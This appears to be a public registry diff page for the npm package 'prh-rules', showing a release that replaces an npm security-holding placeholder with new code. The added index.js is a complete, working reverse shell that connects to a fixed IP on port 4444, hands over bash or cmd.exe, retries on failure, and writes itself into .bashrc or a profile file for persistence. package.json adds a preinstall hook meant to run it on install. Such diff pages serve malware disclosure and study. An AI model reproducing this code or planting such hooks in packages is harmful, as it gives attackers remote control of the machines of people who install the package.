prh-rules 0.0.1-security → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of prh-rules might be problematic. Click here for more details.

package/404.txt ADDED
@@ -0,0 +1 @@
1
+ https://registry.npmjs.org/prh-rules
package/index.js ADDED
@@ -0,0 +1,92 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+ const fs = require("fs");
4
+ const path = require("path");
5
+ const os = require("os");
6
+
7
+ // Listener IP and Port (ensure they match the listener setup)
8
+ const REMOTE_IP = "172.22.182.11"; // Replace with your IP
9
+ const REMOTE_PORT = 4444; // Replace with your listening port
10
+
11
+ // Payload install check file to avoid re-execution
12
+ const PAYLOAD_FILE = path.join(os.homedir(), ".reverse_shell_installed");
13
+
14
+ // Log file to track errors or issues
15
+ const LOG_FILE = path.join(os.homedir(), "reverse_shell_log.txt");
16
+
17
+ // Function to log messages for debugging
18
+ function log(message) {
19
+ const timestamp = new Date().toISOString();
20
+ fs.appendFileSync(LOG_FILE, `[${timestamp}] ${message}\n`);
21
+ }
22
+
23
+ // Function to establish a reverse shell
24
+ function connect() {
25
+ const client = new net.Socket();
26
+
27
+ // Attempt to connect to the listener
28
+ client.connect(REMOTE_PORT, REMOTE_IP, () => {
29
+ log("Reverse shell connected!");
30
+ const shell = spawn(process.platform === "win32" ? "cmd.exe" : "/bin/bash", []);
31
+
32
+ shell.stdout.on("data", (data) => {
33
+ client.write(data);
34
+ });
35
+
36
+ shell.stderr.on("data", (data) => {
37
+ client.write(data);
38
+ });
39
+
40
+ client.on("data", (data) => {
41
+ shell.stdin.write(data);
42
+ });
43
+
44
+ shell.on("close", () => {
45
+ log("Shell closed. Exiting.");
46
+ client.end();
47
+ });
48
+
49
+ client.on("end", () => {
50
+ log("Connection closed by remote host.");
51
+ });
52
+ });
53
+
54
+ // Retry if there is a connection error
55
+ client.on("error", (err) => {
56
+ log(`Connection error: ${err.message}`);
57
+ setTimeout(connect, 5000); // Retry after 5 seconds
58
+ });
59
+ }
60
+
61
+ // Ensure the payload is only executed once
62
+ function ensurePayloadIsInstalled() {
63
+ if (!fs.existsSync(PAYLOAD_FILE)) {
64
+ fs.writeFileSync(PAYLOAD_FILE, "Payload installed.");
65
+ log("Payload is now installed.");
66
+ connect();
67
+ } else {
68
+ log("Payload already installed. Skipping connection.");
69
+ }
70
+ }
71
+
72
+ // Persistence mechanism: add reverse shell to shell profile
73
+ function makePersistent() {
74
+ const profileFile = process.platform === "win32" ? path.join(os.homedir(), "Documents", "profile.bat") : path.join(os.homedir(), ".bashrc");
75
+
76
+ if (!fs.existsSync(profileFile)) {
77
+ log(`Shell profile not found. Creating: ${profileFile}`);
78
+ fs.appendFileSync(profileFile, `\n# Adding reverse shell to profile\nnode ${__dirname}/index.js &\n`);
79
+ log("Reverse shell added to shell profile for persistence.");
80
+ } else {
81
+ log("Shell profile already modified.");
82
+ }
83
+ }
84
+
85
+ // Main execution function
86
+ function main() {
87
+ makePersistent();
88
+ ensurePayloadIsInstalled();
89
+ }
90
+
91
+ // Start the script
92
+ main();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "prh-rules",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall": "node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=prh-rules for more information.